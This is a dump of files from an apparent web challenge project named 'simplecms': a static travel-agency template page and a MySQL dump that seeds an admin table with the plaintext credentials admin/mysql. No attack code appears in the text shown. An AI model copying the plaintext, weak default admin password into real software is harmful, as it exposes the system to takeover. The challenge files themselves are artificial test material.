class=\"services-overview-gd\">\n\t\t\t\t\t\t\t\t<h4>Itaque earum rerum hic tenetur</h4>\n\t\t\t\t\t\t\t\t<p>Neque porro quisquam est, qui dolorem ipsum quia dolor \n\t\t\t\t\t\t\t\t\tsit amet, consectetur, adipisci velit, sed quia non numquam \n\t\t\t\t\t\t\t\t\teius modi tempora incidunt ut labore et dolore magnam aliquam \n\t\t\t\t\t\t\t\t\tquaerat voluptatem.</p>\n\t\t\t\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"p\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"in\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"v\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"facebook\"></a></li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-md-4 services-overview-grid\">\n\t\t\t\t\t\t<div class=\"services-overview-grd\">\n\t\t\t\t\t\t\t<img src=\"images/7.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t\t\t<div class=\"services-overview-gd\">\n\t\t\t\t\t\t\t\t<h4>Itaque earum rerum hic tenetur</h4>\n\t\t\t\t\t\t\t\t<p>Neque porro quisquam est, qui dolorem ipsum quia dolor \n\t\t\t\t\t\t\t\t\tsit amet, consectetur, adipisci velit, sed quia non numquam \n\t\t\t\t\t\t\t\t\teius modi tempora incidunt ut labore et dolore magnam aliquam \n\t\t\t\t\t\t\t\t\tquaerat voluptatem.</p>\n\t\t\t\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"p\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"in\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"v\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"facebook\"></a></li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-md-4 services-overview-grid\">\n\t\t\t\t\t\t<div class=\"services-overview-grd\">\n\t\t\t\t\t\t\t<img src=\"images/6.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t\t\t<div class=\"services-overview-gd\">\n\t\t\t\t\t\t\t\t<h4>Itaque earum rerum hic tenetur</h4>\n\t\t\t\t\t\t\t\t<p>Neque porro quisquam est, qui dolorem ipsum quia dolor \n\t\t\t\t\t\t\t\t\tsit amet, consectetur, adipisci velit, sed quia non numquam \n\t\t\t\t\t\t\t\t\teius modi tempora incidunt ut labore et dolore magnam aliquam \n\t\t\t\t\t\t\t\t\tquaerat voluptatem.</p>\n\t\t\t\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"p\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"in\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"v\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"facebook\"></a></li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- //services -->\n<?php\n\tinclude 'footer.php';\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/single.php",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<title>Single</title>\n<!-- for-mobile-apps -->\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n<meta name=\"keywords\" content=\"Seafaring Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, \nSmartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design\" />\n<script type=\"application/x-javascript\"> addEventListener(\"load\", function() { setTimeout(hideURLbar, 0); }, false);\n\t\tfunction hideURLbar(){ window.scrollTo(0,1); } </script>\n<!-- //for-mobile-apps -->\n<link href=\"css/bootstrap.css\" rel=\"stylesheet\" type=\"text/css\" media=\"all\" />\n<link href=\"css/style.css\" rel=\"stylesheet\" type=\"text/css\" media=\"all\" />\n<!-- js -->\n<script src=\"js/jquery-1.11.1.min.js\"></script>\n<!-- //js -->\n<link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100,100italic,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>\n<link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'>\n</head>\n\t\n<body>\n<!-- header -->\n\t<div class=\"header\">\n\t\t<div class=\"search\">\n\t\t\t<form>\n\t\t\t\t<i class=\"glyphicon glyphicon-search\" aria-hidden=\"true\"></i><input type=\"text\" value=\"Search Here\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Search Here';}\" required=\"\">\n\t\t\t</form>\n\t\t</div>\n\t\t<div class=\"logo\">\n\t\t\t<a href=\"./index.php\">Seafaring <span>A Travel Agency</span></a>\n\t\t</div>\n\t\t<div class=\"logo-right\">\n\t\t\t<ul>\n\t\t\t\t<li><a href=\"mailto:info@example.com\">mail@example.com</a></li>|\n\t\t\t\t<li>Contact Us</li>|\n\t\t\t\t<li>+0297 889 908</li>\n\t\t\t</ul>\n\t\t</div>\n\t\t<div class=\"clearfix\"> </div>\n\t</div>\n\t<div class=\"header-nav\">\n\t\t<div class=\"container\">\n\t\t\t<nav class=\"navbar navbar-default\">\n\t\t\t\t<!-- Brand and toggle get grouped for better mobile display -->\n\t\t\t\t<div class=\"navbar-header\">\n\t\t\t\t  <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#bs-example-navbar-collapse-1\">\n\t\t\t\t\t<span class=\"sr-only\">Toggle navigation</span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t  </button>\n\t\t\t\t</div>\n\n\t\t\t\t<!-- Collect the nav links, forms, and other content for toggling -->\n\t\t\t\t<div class=\"collapse navbar-collapse nav-wil\" id=\"bs-example-navbar-collapse-1\">\n\t\t\t\t\t<nav class=\"cl-effect-1\">\n\t\t\t\t\t\t<ul class=\"nav navbar-nav\">\n\t\t\t\t\t\t\t<li><a href=\"./index.php\">Home</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./about.php\">About</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./codes.php\">Short Codes</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./services.php\">Services</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./gallery.php\">Photo Gallery</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./contact.php\">Contact Us</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</nav>\n\t\t\t\t</div><!-- /.navbar-collapse -->\t\n\t\t\t</nav>\n\t\t</div>\n\t</div>\n<!-- //header -->\n<!-- banner -->\n\t<div class=\"banner1\">\n\t</div>\n<!-- //banner -->\n<!-- single -->\n\t<div class=\"single\">\n\t\t<div class=\"container\">\n\t\t\t<ol class=\"breadcrumb breadco\">\n\t\t\t  <li><a href=\"./index.php\">Home</a></li>\n\t\t\t  <li class=\"active\">Single</li>\n\t\t\t</ol>\n\t\t\t<div class=\"single-page-artical\">\n\t\t\t\t<div class=\"artical-content\">\n\t\t\t\t\t<h3>Lorem Ipsum is simply dummy text</h3>\n\t\t\t\t\t<img class=\"img-responsive\" src=\"images/banner.jpg\" alt=\" \" />\n\t\t\t\t\t<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n\t\t\t\t\t\t Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n\t\t\t\t\t\t Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"artical-links\">\n\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-calendar\" aria-hidden=\"true\"></span>September 15,2015</li>\n\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-user\" aria-hidden=\"true\"></span>admin</a></li>\n\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-envelope\" aria-hidden=\"true\"></span>No comments</a></li>\n\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-bookmark\" aria-hidden=\"true\"></span>View posts</a></li>\n\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span>permalink</li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"comment-grid-top\">\n\t\t\t\t\t<h3>Responses</h3>\n\t\t\t\t\t<div class=\"comments-top-top\">\n\t\t\t\t\t\t<div class=\"top-comment-left\">\n\t\t\t\t\t\t\t<a href=\"#\"><img class=\"img-responsive\" src=\"images/co.png\" alt=\"\"></a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"top-comment-right\">\n\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t<li><span class=\"left-at\"><a href=\"#\">Admin</a></span></li>\n\t\t\t\t\t\t\t\t<li><span class=\"right-at\">September 15, 2015 at 10.30am</span></li>\n\t\t\t\t\t\t\t\t<li><a class=\"reply\" href=\"#\">Reply</a></li>\n\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout.The point of using Lorem Ipsum is that it has a more-or-less </p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"comments-top-top top-grid-comment\">\n\t\t\t\t\t\t<div class=\"top-comment-left\">\n\t\t\t\t\t\t\t<a href=\"#\"><img class=\"img-responsive\" src=\"images/co.png\" alt=\"\"></a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"top-comment-right\">\n\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t<li><span class=\"left-at\"><a href=\"#\">Admin</a></li>\n\t\t\t\t\t\t\t\t<li><span class=\"right-at\">September 15, 2015 at 10.30am</span></li>\n\t\t\t\t\t\t\t\t<li><a class=\"reply\" href=\"#\">Reply</a></li>\n\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout.The point of using Lorem Ipsum is that it has a more-or-less </p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\t\t\t\n\t\t\t\t<div class=\"artical-commentbox\">\n\t\t\t\t\t<h3>leave a comment</h3>\n\t\t\t\t\t<div class=\"table-form\">\n\t\t\t\t\t\t<form>\n\t\t\t\t\t\t\t<input type=\"text\" value=\"Name\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Name';}\">\n\t\t\t\t\t\t\t<input type=\"email\" value=\"Email\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Email';}\">\n\t\t\t\t\t\t\t<input type=\"text\" value=\"Phone number\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Phone number';}\">\n\t\t\t\t\t\t\t<textarea value=\"Message:\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Message';}\">Message</textarea>\t\n\t\t\t\t\t\t\t<input type=\"submit\" value=\"Send\">\n\t\t\t\t\t\t</form>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\t\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- single -->\n<!--footer-->\n\t<div class=\"footer\">\n\t\t<div class=\"container\">\n\t\t\t<div class=\"footer-row\">\n\t\t\t\t<div class=\"col-md-3 footer-grids\">\n\t\t\t\t\t<h4><a href=\"./index.php\">Seafaring</a></h4>\n\t\t\t\t\t<p><a href=\"mailto:info@example.com\">mail@example.com</a></p>\n\t\t\t\t\t<p>+2 000 222 1111</p>\n\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t<li><a href=\"#\" class=\"p\"></a></li>\n\t\t\t\t\t\t<li><a href=\"#\" class=\"in\"></a></li>\n\t\t\t\t\t\t<li><a href=\"#\" class=\"v\"></a></li>\n\t\t\t\t\t\t<li><a href=\"#\" class=\"facebook\"></a></li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-3 footer-grids\">\n\t\t\t\t\t<h3>Navigation</h3>\t\t\t\t\t\n\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><a href=\"./index.php\">Home</a></li>\n\t\t\t\t\t\t<li><a href=\"./about.php\">About us</a></li>\n\t\t\t\t\t\t<li><a href=\"./services.php\">Services</a></li>\n\t\t\t\t\t\t<li><a href=\"./codes.php\">Typo</a></li>\n\t\t\t\t\t\t<li><a href=\"./contact.php\">Contact</a></li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-2 footer-grids\">\n\t\t\t\t\t<h3>Support</h3>\n\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><a href=\"./gallery.php\">Photo Gallery</a></li>\n\t\t\t\t\t\t<li><a href=\"#\">Help Center</a></li>\n\t\t\t\t\t\t<li><a href=\"#\">Lemollisollis</a></li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-4 footer-grids\">\t\n\t\t\t\t\t<h3>Newsletter</h3>\n\t\t\t\t\t<p>It was popularised in the 1960s with the release Ipsum. <p>\n\t\t\t\t\t<form>\t\t\t\t\t \n\t\t\t\t\t    <input type=\"text\" class=\"text\" value=\"Enter Email\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Enter Email';}\">\n\t\t\t\t\t\t<input type=\"submit\" value=\"Go\">\t\t\t\t\t \n\t\t\t\t </form>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\t<div class=\"footer-bottom\">\n\t\t<div class=\"container\">\t\t\n\t\t\t<p>Copyright &copy; 2016.Company name All rights reserved.More Templates <a href=\"http://www.cssmoban.com/\" target=\"_blank\" title=\"index\"></a> - Collect from <a href=\"http://www.cssmoban.com/\" title=\"网页模板\" target=\"_blank\">网页模板</a></p>\t\t\t\t\t\n\t\t</div>\n\t</div>\n<!--//footer-->\t\n<!-- for bootstrap working -->\n\t\t<script src=\"js/bootstrap.js\"> </script>\n<!-- //for bootstrap working -->\n</body>\n</html>"
  },
  {
    "path": "web_simplecms/simplecms/test.sql",
    "content": "-- MySQL dump 10.13  Distrib 5.7.19, for Linux (i686)\n--\n-- Host: localhost    Database: test\n-- ------------------------------------------------------\n-- Server version\t5.7.19-0ubuntu0.16.04.1\n\n/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n/*!40101 SET NAMES utf8 */;\n/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\n/*!40103 SET TIME_ZONE='+00:00' */;\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n\n--\n-- Table structure for table `admin`\n--\n\ndrop database if exists `test`;\ncreate database `test`;\nuse test;\n\nDROP TABLE IF EXISTS `admin`;\n/*!40101 SET @saved_cs_client     = @@character_set_client */;\n/*!40101 SET character_set_client = utf8 */;\nCREATE TABLE `admin` (\n  `user_id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n  `user_name` varchar(255) NOT NULL DEFAULT '',\n  `user_pass` varchar(255) NOT NULL DEFAULT '',\n  PRIMARY KEY (`user_id`)\n) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `admin`\n--\n\nLOCK TABLES `admin` WRITE;\n/*!40000 ALTER TABLE `admin` DISABLE KEYS */;\nINSERT INTO `admin` VALUES (1,'admin','mysql');\n/*!40000 ALTER TABLE `admin` ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `news`\n--\n\nDROP TABLE IF EXISTS `news`;\n/*!40101 SET @saved_cs_client     = @@character_set_client */;\n/*!40101 SET character_set_client = utf8 */;\nCREATE TABLE `news` (\n  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n  `news` varchar(255) NOT NULL DEFAULT '',\n  `pub_date` date NOT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=MyISAM AUTO_INCREMENT=22 DEFAULT CHARSET=utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `news`\n--\n\nLOCK TABLES `news` WRITE;\n/*!40000 ALTER TABLE `news` DISABLE KEYS */;\nINSERT INTO `news` VALUES (1,'这是第一条内容','2018-09-28'),(2,'这是第二条内容','2018-09-28'),(3,'这是第三条内容','2018-03-04');\n/*!40000 ALTER TABLE `news` ENABLE KEYS */;\nUNLOCK TABLES;\n/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\n\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n\n-- Dump completed on 2018-07-05 16:57:17\n"
  },
  {
    "path": "web_simplecms/tmp/.gitkeep",
    "content": ""
  }
]